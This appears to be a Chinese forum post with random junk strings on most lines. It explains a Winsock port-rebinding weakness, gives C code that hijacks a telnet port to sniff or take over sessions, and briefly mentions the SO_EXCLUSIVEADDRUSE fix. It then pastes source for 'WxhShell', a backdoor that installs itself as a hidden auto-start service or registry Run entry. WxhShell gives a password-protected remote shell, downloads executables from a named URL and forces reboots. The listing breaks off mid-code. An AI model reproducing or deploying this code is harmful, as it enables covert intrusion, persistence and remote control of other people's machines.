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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C2]Kc{4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T1B|w"In  
fkfZ>D^1  
  saddr.sin_family = AF_INET; "Z,q?Fc  
5_K5?N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k'`m97B  
Q_*_?yf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9L%I<5i  
zHB_{(o7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I4H`YOD%  
#)+- lPe  
  这意味着什么?意味着可以进行如下的攻击: O|kKwadC  
"SWMk!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TL= YQA  
mOll5O7VW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m(D]qYwh  
Qz<d~ N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (J$\-a7<f  
'6Qy/R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pvWau1ArNq  
v=Y K8fNi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E ?2O(  
a+41|)pt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xc 1A$EY  
hi{%pi&!T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 huFz97?y(  
db=$zIB[:  
  #include W-2i+g)  
  #include ,1n >U?5  
  #include yFIy`9R  
  #include    -xmf'c9P  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ~m=EM;  
  int main() Hy; Hs#  
  { e&Y0}oY  
  WORD wVersionRequested; BW[5o3 i  
  DWORD ret; dFW=9ru+MQ  
  WSADATA wsaData; c|p,/L09L  
  BOOL val; JXQPT  
  SOCKADDR_IN saddr; #~Q=h`9  
  SOCKADDR_IN scaddr; Go\VfLLw  
  int err; g9tu %cIkR  
  SOCKET s; +`en{$%%  
  SOCKET sc; ^i%A7pg  
  int caddsize; 54p tP  
  HANDLE mt; uF(k[[qaiN  
  DWORD tid;   .:1qK<vz  
  wVersionRequested = MAKEWORD( 2, 2 ); N{a kg90  
  err = WSAStartup( wVersionRequested, &wsaData ); :Z`4j  
  if ( err != 0 ) { W*T{,M@Y  
  printf("error!WSAStartup failed!\n"); _."E%|5  
  return -1; q|#MB7e/  
  } $%qg"  
  saddr.sin_family = AF_INET; S)\8|ym6!  
   *_hLD5K!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q=c/B(II!  
Ub)I66  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )qM|3],  
  saddr.sin_port = htons(23); lglYJ,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -e>|kPfv!  
  { crmUrF#  
  printf("error!socket failed!\n"); R9dP,<2  
  return -1; x'`"iZO.t  
  } hY8#b)l~lu  
  val = TRUE; Bku' H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7[o {9Yp&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ijZ>:B2:  
  { c?6d2jH.  
  printf("error!setsockopt failed!\n"); :$H!@n*/R  
  return -1; &TT":FPR  
  } iB bbr,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YdOUv|tZC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xPQL?.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D s-`  
%?tq;~|]Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "bX4Q4Dq  
  { 'h *Zc}Q:  
  ret=GetLastError(); Fj=NiZ=  
  printf("error!bind failed!\n"); 4;<DJ.XlN=  
  return -1; MW@DXbKVl  
  } Npa-$N&P{S  
  listen(s,2); 0n5UKtB  
  while(1) o/JPYBhdl  
  { c4|so=  
  caddsize = sizeof(scaddr);  KOS yh<&  
  //接受连接请求 !<Z{@7oH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :kp0EiJ  
  if(sc!=INVALID_SOCKET) Z{}+)Q*Q  
  { OV|Z=EwJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XiG88Kwv  
  if(mt==NULL) % 0v*n8  
  { N(R,8GF5G  
  printf("Thread Creat Failed!\n"); hEOJb @:R  
  break; w-: D  
  } L?f qcW{  
  } RndOm.TE  
  CloseHandle(mt); f[@#7,2~M  
  } d| \#?W&  
  closesocket(s); OK\]*r  
  WSACleanup(); \X opU"  
  return 0; ^ wQcB  
  }   r,nn~  
  DWORD WINAPI ClientThread(LPVOID lpParam) s5.k|!K  
  { )dg UmN  
  SOCKET ss = (SOCKET)lpParam; 7xDN.o*>  
  SOCKET sc; AI fk"2  
  unsigned char buf[4096]; +~:0Dxv W  
  SOCKADDR_IN saddr; !:J< pWN"  
  long num; ~%GSsm\J  
  DWORD val; m?vAyi  
  DWORD ret; )`RZkCe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gT7I9 (x!W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !L$oAqW  
  saddr.sin_family = AF_INET; j)@oRWL<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |ZuDX87  
  saddr.sin_port = htons(23); d.1Q~&`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A'v[SUW'm  
  { |Kn^w4mN  
  printf("error!socket failed!\n"); -(  ER4#  
  return -1; / GZV_H%v  
  } s @3 zx  
  val = 100; &`5 :G LV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ua!Odju*w  
  { 6KBHRt  
  ret = GetLastError(); 'Sk6U]E~  
  return -1; CCwK8`%   
  } '|+=B u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kjfxjAS=m  
  { Z~B+*HF  
  ret = GetLastError(); 3g+ \? L-c  
  return -1; 5[hlg(eb  
  } |O^V)bZmx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c'[( d5^|  
  { .y(@Y6hO  
  printf("error!socket connect failed!\n"); !-@SS>  
  closesocket(sc); C(ZcR_+r$,  
  closesocket(ss); s UvKA0  
  return -1; $M%}Oz3*  
  } T)*l' g'  
  while(1) DOA[iT";4  
  { lK 9s0t'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l$qmn$Uc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]lC4+{V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 96k(X LR  
  num = recv(ss,buf,4096,0); !WDn7j'A  
  if(num>0) m}sh I8S  
  send(sc,buf,num,0); f2 VpeJ<p  
  else if(num==0) }:tAKO=+  
  break; aj+zmk~-  
  num = recv(sc,buf,4096,0); 7Co3P@@  
  if(num>0) *YMXiYJR  
  send(ss,buf,num,0); VN1# 8{  
  else if(num==0) :Fq2x_IUE  
  break; F5Cqv0H V  
  } 6i55Ja  
  closesocket(ss); 4ZSfz#<[z  
  closesocket(sc); $XtV8  
  return 0 ; =2Pz$q*ub  
  } r< N-A?a  
w?*'vF_2:#  
1j_aH#Fz:  
========================================================== Sf#\6X<B  
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下边附上一个代码,,WXhSHELL dpl"}+  
bUpmU/ RW  
========================================================== BIwgl@t!>  
sf=%l10Fk#  
#include "stdafx.h" K]lb8q}Z~  
89?3,k  
#include <stdio.h> hA$c.jJr.Z  
#include <string.h> }j]<&I}  
#include <windows.h> `Nxo0Q  
#include <winsock2.h> g0[<9.ke  
#include <winsvc.h> 4'7 v!I9  
#include <urlmon.h> 7cJO)cm0'  
7l4InR]  
#pragma comment (lib, "Ws2_32.lib") A@fshWrl%  
#pragma comment (lib, "urlmon.lib") 0Te)s3X  
IDL^0:eg<.  
#define MAX_USER   100 // 最大客户端连接数 !ds"88:5^  
#define BUF_SOCK   200 // sock buffer [v>Z(  
#define KEY_BUFF   255 // 输入 buffer &z 1|  
Hj-<{#,  
#define REBOOT     0   // 重启 wjw<@A9  
#define SHUTDOWN   1   // 关机 FN8=YUYK%  
/;]B1T7  
#define DEF_PORT   5000 // 监听端口 ^+Y-=2u:  
),W (TL  
#define REG_LEN     16   // 注册表键长度 .j]OO/,  
#define SVC_LEN     80   // NT服务名长度 -hJ>wGI  
JXD?a.vy^q  
// 从dll定义API %^)JaEUC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8{U]ATx'(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9cx!N,R t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VAG+y/q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o 0cc+  
MSrY*)n!>O  
// wxhshell配置信息 ^~*[~  
struct WSCFG { $ M[}(m  
  int ws_port;         // 监听端口 u" NIG  
  char ws_passstr[REG_LEN]; // 口令 xSMp[j  
  int ws_autoins;       // 安装标记, 1=yes 0=no :w&)XI34  
  char ws_regname[REG_LEN]; // 注册表键名 ]R3pBC"Jv  
  char ws_svcname[REG_LEN]; // 服务名 Ty,)mx){)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JCU3\39}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R0gjx"U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c_kxjzA#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yn'XSV|g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1;?b-FEq:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tZk@ RX  
(=)+as"u9*  
}; >M[rOu (d  
U@BVVH?,o  
// default Wxhshell configuration <*3wnpj_  
struct WSCFG wscfg={DEF_PORT, '355Pce/  
    "xuhuanlingzhe", _0oZgt)  
    1, Ud*.[GRD~  
    "Wxhshell", c42p>}P[  
    "Wxhshell", JLT':e~PX  
            "WxhShell Service", 8:huWjh]M  
    "Wrsky Windows CmdShell Service", R 7xV{o  
    "Please Input Your Password: ", f]J?-ks  
  1, c)rI[P7Q  
  "http://www.wrsky.com/wxhshell.exe", n)sK#C-VA  
  "Wxhshell.exe" tCI8 \~  
    }; WN?!(r<qA_  
*xkbKkm  
// 消息定义模块 7V 2%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6i9m!YQV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mu=u!by.E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o-("S|A-  
char *msg_ws_ext="\n\rExit."; Lyt6DvAp"  
char *msg_ws_end="\n\rQuit."; XFG]%y=/6  
char *msg_ws_boot="\n\rReboot..."; .: 87B=  
char *msg_ws_poff="\n\rShutdown..."; K%2,z3ps  
char *msg_ws_down="\n\rSave to "; FOquQr1cF  
|b'tf:l  
char *msg_ws_err="\n\rErr!"; yXg783B|v  
char *msg_ws_ok="\n\rOK!"; yJ/m21f  
YV. *8'*  
char ExeFile[MAX_PATH]; WxWgY}`  
int nUser = 0; A}t.`FLP,j  
HANDLE handles[MAX_USER]; FK }x*d  
int OsIsNt; U%t:]6d&}  
RLw=y{%p  
SERVICE_STATUS       serviceStatus; f*NtnD=rJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;   
b ?B"u^b!  
// 函数声明 m&Ms[X  
int Install(void); qWw@6VvoQ  
int Uninstall(void); "h2;65@  
int DownloadFile(char *sURL, SOCKET wsh); 6Ck?O/^  
int Boot(int flag); dK|MQ <  
void HideProc(void); [0m'a\YE9  
int GetOsVer(void); o:f=dBmoX  
int Wxhshell(SOCKET wsl); 7M3q|7 ?  
void TalkWithClient(void *cs); ^ }U{O A  
int CmdShell(SOCKET sock); : b $ M  
int StartFromService(void); ;yBq'_e3  
int StartWxhshell(LPSTR lpCmdLine); cK@O)Ko}  
:2 QA#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y^2Ma878  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :M1+[FT  
y{!`4CxF  
// 数据结构和表定义 &{Uaa  
SERVICE_TABLE_ENTRY DispatchTable[] = dQ/Xs.8  
{ K4,VSy1byI  
{wscfg.ws_svcname, NTServiceMain}, i:qc2#O:J  
{NULL, NULL} 0}Kl47}aD  
}; p KKn  
_YmY y\g  
// 自我安装 V=3NIw18  
int Install(void) kYPowM  
{ YRW<n9=3  
  char svExeFile[MAX_PATH]; jM2gu~  
  HKEY key; oJ{)0;<~L  
  strcpy(svExeFile,ExeFile); ?9mWMf%t  
&y3_>!L  
// 如果是win9x系统,修改注册表设为自启动 |I)Ms NF  
if(!OsIsNt) { a9FlzR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [GU!],Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qe`W~a9x  
  RegCloseKey(key); cvn,&G -`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |n01T_Z)P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); je_77G(F  
  RegCloseKey(key); nUd(@@%m  
  return 0; l*B;/ >nR  
    } 'G@Npp)&^  
  } h,TDNR<1L  
} |PI.xl:ch  
else { +:/`&LOS-  
D dt9`j  
// 如果是NT以上系统,安装为系统服务 pC_2_,6$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $Snwx  
if (schSCManager!=0) GrVvOJr  
{ 8eWb{n uJ>  
  SC_HANDLE schService = CreateService w2/%e$D!9  
  ( J\m7U  
  schSCManager, m[ifcDZ(e  
  wscfg.ws_svcname, ;,Lq*x2s  
  wscfg.ws_svcdisp, s8 .oS);`  
  SERVICE_ALL_ACCESS, YHvmo@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !6f#OAP\  
  SERVICE_AUTO_START, sAnStS=>  
  SERVICE_ERROR_NORMAL, J[VQ6fD%  
  svExeFile, |\~cjPX(  
  NULL, P/M*XUG.  
  NULL, Bi?.G7>  
  NULL, _4[kg)#+  
  NULL, bL swq  
  NULL 34s:|w6y  
  ); wz073-v>ZV  
  if (schService!=0) FIC 2)  
  { #FTXy>W  
  CloseServiceHandle(schService); M={k4r_t  
  CloseServiceHandle(schSCManager); <:RU,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NFmB ^@k  
  strcat(svExeFile,wscfg.ws_svcname); ]=@>;yP)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0sV;TQt+f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rb`C:#j{J  
  RegCloseKey(key); e-UPu%'  
  return 0; qI8{JcFx:  
    } xCoQ>.4p  
  } ]%>;R^HY  
  CloseServiceHandle(schSCManager); o] )qv~o)  
} VNXB7#ry  
} ~[k 2(  
sI9~TZ :  
return 1; r IS \#j  
} ZuBVq  
K'1rS[^>R  
// 自我卸载 }KS[(Q  
int Uninstall(void) 0DS<(  
{ UL"Jwq D  
  HKEY key; -2% [ ]  
KZ/}Iy>As  
if(!OsIsNt) { T3'dfe U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A3Ltk 2<  
  RegDeleteValue(key,wscfg.ws_regname); ``>WFLWTn  
  RegCloseKey(key); Bz /NFNi[p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BE%#4c.b  
  RegDeleteValue(key,wscfg.ws_regname); HbZ3QWP  
  RegCloseKey(key); - bFz  
  return 0; 3<'SnP3mY  
  } 9FJU'$FN  
}  '=%vf  
} $Iqt c)DA  
else { T][\wyLx1  
Q\ro )r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 33"{"2==`  
if (schSCManager!=0) ;rd!kFd#bq  
{ x<9|t(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )Cu"M #`  
  if (schService!=0) 0o`0Td  
  { TtkB  
  if(DeleteService(schService)!=0) { E$smr\  
  CloseServiceHandle(schService); T'f E4}rY  
  CloseServiceHandle(schSCManager); pX6OhwkTK  
  return 0; auL?Hb  
  } tao3Xr^?  
  CloseServiceHandle(schService); /c3 DltOdr  
  } ~~'XY(\L@  
  CloseServiceHandle(schSCManager); N:"E%:wSbi  
} qC`"<R=GX  
} 3ywBq9FGhp  
E hd*  
return 1; X Uh)z  
} Q0ev*MS9Z  
{[)J~kC+  
// 从指定url下载文件 V `@@ufU}  
int DownloadFile(char *sURL, SOCKET wsh) ?A,gDk/#  
{ 8.]dThaq  
  HRESULT hr; vP88%I;  
char seps[]= "/"; 2 B5kpmH:  
char *token; @f{)]I +f  
char *file; 5vg@zH\z  
char myURL[MAX_PATH]; {_ewc/~  
char myFILE[MAX_PATH]; Q$V xm+  
eT:%i"C  
strcpy(myURL,sURL); Gh42qar`  
  token=strtok(myURL,seps); 1 *;?uC\  
  while(token!=NULL) #Cbn"iYee  
  { Z-]d_Y~m4  
    file=token; +,c;Dff  
  token=strtok(NULL,seps); _3hCu/BV  
  } kTs)u\r.  
:~U1JAs$  
GetCurrentDirectory(MAX_PATH,myFILE); !=k\Rr@qx  
strcat(myFILE, "\\"); cs~ }k7><  
strcat(myFILE, file); |wVoJO!O}  
  send(wsh,myFILE,strlen(myFILE),0); UI>-5,X  
send(wsh,"...",3,0); %oC]Rpdu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f,`FbT  
  if(hr==S_OK) 3cQTl5,  
return 0; CaZEU(i  
else C+-~Gmrb(7  
return 1; H-7*)D  
lE=Q(QUr  
} (VwS 9:`  
/EKfL\3  
// 系统电源模块 Dzc 4J66  
int Boot(int flag) ~''qd\.f$  
{  X-~Q  
  HANDLE hToken; }6m5MH$7q  
  TOKEN_PRIVILEGES tkp; >nvreis  
C=%go1! $  
  if(OsIsNt) { <~X=6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M8S4D&vpD4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mxGvhkj  
    tkp.PrivilegeCount = 1; o.}^6.h"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &&JI$x0;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <fs2;  
if(flag==REBOOT) { j!:U*}f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #@lr$^M  
  return 0; -v>BeVF  
} E62VuX  
else { p*NC nD*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *.voN[$~  
  return 0; q`9~F4\  
} -+Quw2465^  
  } `C_#EU-  
  else { 98o;_tU'  
if(flag==REBOOT) { G?>~w[#mQR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /i DS#l\0  
  return 0; O&d(FJZ  
} BQ_\8Qt|  
else { 7{az %I$h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sy/J+==  
  return 0; ][wS}~):  
} Pgye{{  
} ;@v7AF6Hq  
*M- .Vor?R  
return 1; ] p+t>'s  
} W+Gu\=s%O  
as~.XWa  
// win9x进程隐藏模块 rw_&t>Ri;  
void HideProc(void) '>'h7F=tY  
{ EkWe6m  
Qpf BM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U|U/B  
  if ( hKernel != NULL ) ): Q5u6  
  { hO{@!H$l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )@SIFE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?_n.B=H`8  
    FreeLibrary(hKernel); CdTmL{Y1  
  } % k$+t  
h/-7;Csv  
return; e/@udau  
} Yn1U@!  
!jYV,:'  
// 获取操作系统版本 <uv{/L b  
int GetOsVer(void) WMh'<'w N_  
{ 0Xk;X1Xl  
  OSVERSIONINFO winfo; w[4SuD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dtd bQF  
  GetVersionEx(&winfo); }})4S;j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8 _`Lx_R  
  return 1; ?:n{GK  
  else tGM)"u-  
  return 0; Vy-S9=  
} /:awPYGH<1  
#c/v2  
// 客户端句柄模块 \4zvknk<  
int Wxhshell(SOCKET wsl) r]0o  
{ *xL#1  
  SOCKET wsh; sPc\xY  
  struct sockaddr_in client; \hNMTj#O  
  DWORD myID; =Ee f  
@@ ZcW<Y"  
  while(nUser<MAX_USER) b2p<!?  
{ DB?_E{y]  
  int nSize=sizeof(client); <JZ=K5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L=HL1Qe$G]  
  if(wsh==INVALID_SOCKET) return 1; -6t# ?Dkc'  
Z.<1,EKi=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z^B!-FcIz>  
if(handles[nUser]==0) +H ="5uO<  
  closesocket(wsh); V!FzVl=G  
else 3]} W  
  nUser++; 66Hu<3X P  
  } >|z=-hqPK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #/1A:ig  
TU[f"!z^  
  return 0; S@_@hFV jd  
} *jA%.F  
Hyee#fB  
// 关闭 socket 1egryp  
void CloseIt(SOCKET wsh) -P'>~W,~  
{ 39~fP)  
closesocket(wsh); ]]d@jj  
nUser--; {' r(P&  
ExitThread(0); JmN;v|wF:c  
} eTrGFe!8w  
J>Zd75;U  
// 客户端请求句柄 C: e}}8i  
void TalkWithClient(void *cs) xn}'!S2-b  
{ CB?.| )Xam  
~@got  
  SOCKET wsh=(SOCKET)cs; W"!nf  
  char pwd[SVC_LEN]; DO( /,A<{8  
  char cmd[KEY_BUFF]; 3)dT+lZ  
char chr[1]; EidIi"sr  
int i,j; DlIfr6F  
Pu axS  
  while (nUser < MAX_USER) { T<!`~#kM  
?pQ, 5+8  
if(wscfg.ws_passstr) { }T(|\ X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 70KXBu<6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hj4A&`2  
  //ZeroMemory(pwd,KEY_BUFF); 9 lA YCsX  
      i=0; ?hDEFW9&^x  
  while(i<SVC_LEN) { Ud{-H_m+  
luC',QJB  
  // 设置超时 8,kbGlSD  
  fd_set FdRead; #+_Oy Z*  
  struct timeval TimeOut; uVisU%p  
  FD_ZERO(&FdRead); %FyB\IQ  
  FD_SET(wsh,&FdRead); f#X`e'1  
  TimeOut.tv_sec=8; mX|AptND  
  TimeOut.tv_usec=0; oMMU5sm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m41n5T`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ""WZpaw  
}^LcKV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wlKL|N  
  pwd=chr[0]; .!9]I'9M  
  if(chr[0]==0xd || chr[0]==0xa) { 53(m9YLk  
  pwd=0; w;#9 hW&  
  break; IOmIkx&`GP  
  } pl"|NZz 7;  
  i++; W/?D}#e<4  
    } L<Lu;KnY6  
wy Le3  
  // 如果是非法用户,关闭 socket 6xBP72L;%"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &ul9N)A  
} +d'h20  
EB> RY+\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4 6e;UUf!d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j|? bva\  
\sRRLDj%  
while(1) { ;#Mq=Fr-SG  
q5OW1%  
  ZeroMemory(cmd,KEY_BUFF); EG9S? $  
yyA/x,  
      // 自动支持客户端 telnet标准   5h20\b?=$  
  j=0; /n"A%6S  
  while(j<KEY_BUFF) { 8{d`N|k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rj E,Wn  
  cmd[j]=chr[0]; `_v-Y`Z  
  if(chr[0]==0xa || chr[0]==0xd) { S?8q.59  
  cmd[j]=0; H!45w;,I  
  break; ~$Mp>ZB2W  
  } y*7ht{B  
  j++; :fj}J)9'xW  
    } ; 9'*w=V  
UT^t7MY#O  
  // 下载文件 3'.OghI  
  if(strstr(cmd,"http://")) { *dKA/.g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oY0*T9vv+  
  if(DownloadFile(cmd,wsh))  |u$AzI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -k<.Q=]<t  
  else 2%@j<yS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uF^+}Y ZT  
  } aa".d[*1  
  else { U7ajDw  
B8TI 5mZ4  
    switch(cmd[0]) { `*N0 Lbl]  
  m,.d< **  
  // 帮助 '2.F-~  
  case '?': { @Qx;J<{+g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cF/FretoO  
    break; ^|sQkufo  
  } W)9KYI9u  
  // 安装 {) .=G  
  case 'i': { PD/~@OsxU  
    if(Install()) I&(cdKY z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O~t5qnu/}  
    else 0{B5C[PTG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L50`,,WF  
    break; [tBIABr  
    } y'zEaL&SI@  
  // 卸载 atN`w=6A`  
  case 'r': { Nq9(O#}  
    if(Uninstall()) N[42al  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -}N{'S,Bp  
    else 3PJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _5X}&>>lhF  
    break; ^qk$W? pX  
    } \T[*|"RFZ  
  // 显示 wxhshell 所在路径 zg5 u  
  case 'p': { s!+?) bB  
    char svExeFile[MAX_PATH]; lI5{]?'  
    strcpy(svExeFile,"\n\r"); #2WBYScW0  
      strcat(svExeFile,ExeFile); I &m~ cBj<  
        send(wsh,svExeFile,strlen(svExeFile),0); a}Ov @7  
    break; WQ*$y3%  
    } `9wz:s QtP  
  // 重启 MWB uMF  
  case 'b': { }$UuYO/i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <4! w2vxG  
    if(Boot(REBOOT)) +HfjnEbtBs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aG" UV\  
    else { m|-O/6~  
    closesocket(wsh); %ZQl.''ISa  
    ExitThread(0); APLu?wy7s5  
    } +ATN2 o  
    break; .:lzT"QXI  
    } D<rjxP  
  // 关机 ]&9f:5',  
  case 'd': { A+ f{j  
